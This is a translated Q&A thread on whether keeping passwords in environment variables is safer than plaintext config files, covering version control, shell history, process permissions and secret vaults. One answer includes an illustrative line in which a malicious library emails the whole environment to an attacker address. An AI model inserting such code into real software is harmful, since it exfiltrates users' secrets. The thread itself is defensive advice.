将密码作为环境变量(而不是纯文本)存储在配置文件中是否安全?

jay*_*jay 92 security passwords django ruby-on-rails environment-variables

我在rails,django(以及一点点php)中使用了一些应用程序,我在其中一些应用程序中开始做的一件事就是将数据库和其他密码存储为环境变量而不是某些配置文件中的纯文本(或者在settings.py中,对于django应用程序).

在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法 - 也许这并不像最初看起来那么完美.

所以,我想知道 - 这是一种安全的做法吗?将密码作为纯文本存储在这些文件中是否更安全(当然,确保不将这些文件保留在公共存储库或任何其他内容中)?

emr*_*ass 54

如前所述,一旦系统受到威胁,这两种方法都不会提供任何额外的"安全性"层.我认为支持环境变量的最有力的理由之一是版本控制:我已经看到了太多的数据库配置等意外地存储在像GIT这样的版本控制系统中,以供其他开发人员查看(并且哎呀!它发生了我也是 ...).

不将密码存储在文件中使它们无法存储在版本控制系统中.

  • *不*在版本控制中存储秘密配置设置的一个非常合理的替代方法是将它们存储在版本控制存储库或项目中*与代码存储库分开*. (6认同)
  • @KennyEvitt 仍然在共享位置留下不安全的明文密码,任何有权访问存储库的人都可以找到该位置,并且无法跟踪谁访问了它。 (5认同)
  • @FistOfFury当然,有权访问该存储库的任何人都可以访问该存储库。将机密存储在*单独的*存储库中的意义在于,这样一来,与代码本身不同,可以控制对这些机密的访问。但是存储库可以得到保护,例如,您可以将加密的机密存储在“共享位置”中。您甚至可以在共享位置跟踪有关访问存储库的信息。但是,当然,允许任何人访问信息都意味着他们可以复制该信息,从而将来可以在任何时间不受限制或跟踪。 (2认同)
  • 使用配置管理解决方案的重要原因,该解决方案可以存储加密的机密,然后在渲染时将其替换为配置模板。Chef有加密的数据包,Ansible有保险库等。 (2认同)
  • 这称为特权访问管理,其中机密存储在具有全面访问控制的集中式 PAM Vault 中。Gartner 列出了[一些此类产品](https://www.gartner.com/reviews/market/privileged-access-management)。 (2认同)

Chr*_*att 41

任何时候你必须存储密码,它是不安全的.期.无法安全地存储未加密的密码.现在哪个环境变量与配置文件更"安全"也许值得商榷.恕我直言,如果您的系统遭到入侵,它存储在哪里并不重要,一个勤奋的黑客可以追踪它.

  • 鉴于开发人员必须存储这些密码,这不是一个非常有用的答案.你在哪里建议他存储它们? (11认同)
  • 对于环境变量,我希望在这里使用unix ...环境变量的安全性低于文件.任何人都可以检查正在运行的进程的环境,但文件至少可以有ACL. (10认同)
  • @Vatine真的吗?我在`ps axe`中看不到我不拥有的进程的任何环境。`strace -e open ps axe`表明它是从`/ proc / [pid] / environ`获取此信息的,该信息具有权限强制执行(因此,有一堆`open(“ / proc / 19795 / environ”,O_RDONLY)=- 1个EACCES(权限被拒绝)`)。 (3认同)
  • 暴露环境变量的@Vatine Places也具有权限。以`cat / proc / 1 / environ`为例。 (2认同)
  • 呵呵.看看,一个问题终于得到解决(过去就是'ps`是setuid,很乐意向你展示几乎所有东西的环境). (2认同)

Joh*_*ter 38

在更理论的层面上,我倾向于通过以下方式考虑安全级别(按强度增加的顺序):

  • 没有安全感.纯文本.任何知道在哪里查看的人都可以访问数据.
  • 混淆的安全性.您将数据(明文)存储在某个棘手的地方(如环境变量),或者存储在看起来像配置文件的文件中.攻击者最终会弄清楚发生了什么,或者偶然发现它.
  • 加密提供的安全性很容易打破,(想想凯撒密码!).
  • 加密提供的安全性可以通过一些努力来打破.
  • 加密提供的安全性对于破坏给定的当前硬件是不切实际的.
  • 最安全的系统是没有人可以使用的系统!:)

环境变量比明文文件安全,因为它们是易失性/一次性的,不能保存; 即,如果您只设置一个本地环境变量,如"set pwd = whatever",然后运行脚本,并在脚本末尾退出命令shell,则变量不再存在.你的案子属于前两个,我认为这是相当不安全的.如果您打算这样做,我建议不要在您的直接内部网/家庭网络之外部署,然后仅用于测试目的.

  • @MaxIvanov:但是为了从第三方提供商获取(加密的)凭据,此启动脚本需要提供身份验证凭据,对吧?那么你会把它们放在哪里? (20认同)
  • 等一下:如果您将凭据存储在环境变量中,他们需要先到达那里。要么通过手工,要么通过脚本。为了自动启动软件,我会推荐一个脚本。但你猜怎么着,那么你仍然需要将它们存储在配置文件中(对于环境变量)。除非您不手动提供环境变量的值,否则我认为配置文件没有安全差异。 (5认同)
  • 环境变量和纯文本文件之间的比较在哪里? (4认同)
  • 问题是必须从启动时的某个地方读取环境变量,对吧?如果它是从纯文本文件中读取的,那么就安全性而言,您就在以前的位置.Heroku是否提供了通过GUI仪表板界面指定环境变量的方法,因此变量将在服务器重启时自动加载?如果这可以安全地完成,那么保存应用程序将密码存储在文件中将是一个非常好的功能.我使用AWS,我不认为它有这个选项. (4认同)
  • @math,它取决于构建/启动流程,但有第三个选项 - 启动脚本(无论采用哪种形式,无论是 bash 脚本还是 IaC 工具或其他)从某种(加密的)秘密存储中获取凭据:Hashicorp Vault、Azure Vault、AWS 参数存储。 (3认同)
  • 文件与环境变量的关键在于,环境变量默认会泄漏到您调用的所有内容(任何库、任何子进程、任何孙进程等)中,但您可以通过抓取和删除来阻止整个不安全类别程序启动时环境中的秘密。此时,它至少与程序运行用户具有读取权限的文件一样安全。为了使文件更安全,我们必须使用 ACL 或 SELinux 标签之类的东西 - 这些东西比每个用户的粒度更限制读取权限。 (3认同)
  • 有趣。非常感谢您的回复。那么,环境变量并没有比纯文本好多少呢? (2认同)
  • 这取决于操作系统——在最好的情况下,环境变量与纯文本文件一样容易受到攻击,但可能更糟。使用纯文本文件,您可以设置文件/目录的读取权限以保护它们。IIRC 对于环境变量,它们存在于 shell 进程的内存空间中,因此有进取心的破解者可以扫描该空间寻找它们。 (2认同)

bri*_*nts 26

抱歉,我没有足够的回复评论,但我还想补充一点,如果你不小心,你的shell也可能在它的命令历史记录中捕获该密码.因此,$ pwd=mypassword my_prog手动运行并不像您希望的那样短暂.

  • 如果您在整个"env var + command"前面加上一个空格,那么它就不会存储在历史记录中 (16认同)
  • @brianclements我想补充一点,只有当前 shell 的 `HISTCONTROL` 设置为 `ignorespace` 或 `ignoreboth` 时,在命令前添加空格才有效,因此从技术上讲,它可以打开/关闭。 (5认同)
  • 另一种方法是使用“ read -s MY_PASS_VAR”,这将防止shell历史记录和肩膀冲浪者的攻击。 (4认同)

Pet*_*tai 24

我认为如果可能,您应该将您的凭据存储在 gitignored 文件中,而不是作为环境变量。

在 ENV(环境)变量与文件中存储凭据时要考虑的一件事是,您使用的任何库或依赖项都可以很容易地检查 ENV 变量。

这可能是恶意的,也可能不是。例如,库作者可以将堆栈跟踪和 ENV 变量通过电子邮件发送给自己以进行调试(不是最佳实践,但可以这样做)。

如果您的凭据在一个文件中,那么获取它们的峰值要困难得多。

具体来说,考虑 node.js 中的 npm。让 npm 查看您的凭据(如果它们在 ENV 中)是一个简单的process.ENV. 另一方面,如果它们在一个文件中,则需要做更多的工作。

您的凭据文件是否受版本控制是一个单独的问题。不是版本控制您的凭据文件会将其暴露给更少的人。无需所有开发人员都知道生产凭据。由于这符合最小权限原则,我建议 git 忽略您的凭据文件。

  • +1 表示“库作者可以通过电子邮件将堆栈跟踪加上 ENV 变量发送给自己进行调试”。从来没有想过这个场景。 (12认同)
  • 加密环境变量然后在稍后读取时解密它们不是很简单吗?这样,读取所有环境变量只会给你带来胡言乱语。在我看来,加密环境变量可以让你两全其美。 (2认同)

max*_*x_i 10

其中,使用环境变量存储机密的一个问题是它们可能会无意中泄露:

  • 混乱的代码向用户显示带有上下文(环境变量)的原始错误消息
  • 监控工具捕获错误和上下文并将其发送/存储以供将来调查
  • 开发人员记录环境变量,将它们保存到磁盘(并且可能保存到某些日志处理工具,例如Logstash
  • 受损的依赖关系发送它可以到达的所有全局变量,包括环境变量给攻击者
  • 设置 env 变量在 shell 历史记录中留下痕迹

配置文件中存储的机密的潜在问题:

  • 文件权限配置错误,允许随机操作系统用户访问
  • 开发人员将配置文件添加到版本控制中
    • 故意的(不知道这样不好)
    • 意外地。即使文件被删除(可能是在 PR 审查期间),如果操作不当,它可能仍然存在于 Git 提交历史记录中。

无论您存储秘密的方式如何,如果您的系统受到损害,您就完蛋了。提取这些只是时间和精力的问题。

那么我们能做些什么来最大程度地降低风险呢?

不要以纯文本形式存储/传递秘密。解决该问题的一种方法是使用外部(托管或自托管)机密存储解决方案(例如 AWS Parameter Store、Azure Vault、Hashicorp Vault)并在运行时获取敏感数据(可能缓存在内存中)。这样,您的秘密在传输过程中和静态时都会被加密。

  • 保险库还需要一些秘密才能打开。在哪里存储这些秘密? (7认同)

Mat*_*ice 6

这取决于您的威胁模型。

您是否要防止用户在可能被忘记和处理不当的整个文件系统上散布密码?如果是这样,则是,因为环境变量的持久性不如文件。

您是否要防御直接针对您程序的恶意软件?如果是这样,则否,因为环境变量没有文件具有相同级别的访问控制。

就个人而言,我认为疏忽的用户比有动机的对手更常见,因此我会选择环境变量方法。


pan*_*hef 5

AFAICT,人们建议将机密存储在环境变量中的原因有两个:

  1. 很容易无意中将秘密平面文件提交到存储库。(如果它是公共仓库,那你就完蛋了。)
  2. 它可以防止密码混乱,即,在许多不同的项目目录文件中使用相同的密钥本身就是一种安全风险,因为开发人员最终将失去秘密所在的位置。

这两个问题可以通过更好的方式来解决。前者应该通过 git commit 钩子来解决,该钩子检查看起来像密码的东西(例如,gitleaks)。我希望 Linus 在 git 库的源代码中内置这样一个工具,但遗憾的是,这并没有发生。(不用说,秘密文件应该始终添加到.gitignore,但你需要一个钩子,以防有人忘记这样做。)

后者可以通过拥有全球公司机密文件来解决,该文件最好存储在只读共享驱动器上。因此,在 Python 中,您可以拥有类似from company_secrets import *.

更重要的是,正如其他人指出的那样,破解存储在环境变量中的秘密太容易了。例如,在 Python 中,库作者可以插入send_email(address="evil.person@evil.com", text=json.dumps(os.environ)),然后如果您执行此代码,您就完蛋了。如果您的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff.

仅限 Django 用户:
如果出现异常(在 DEBUG 模式下),Django(在 DEBUG 模式下)会在浏览器中显示环境变量的原始值。例如,如果开发人员不小心将其投入DEBUG=True生产,这似乎非常不安全。相反,Django 通过在框架文件的变量名称中查找字符串APITOKENKEYSECRETPASS来混淆密码设置变量。SIGNATUREsettings.py

  • “如果你执行这段代码,你就完蛋了” <- 好吧,但是如果你执行不受信任的代码,你总是会完蛋。如果攻击者有能力在相关系统上运行任意代码,则他们不需要知道凭据,不是吗? (3认同)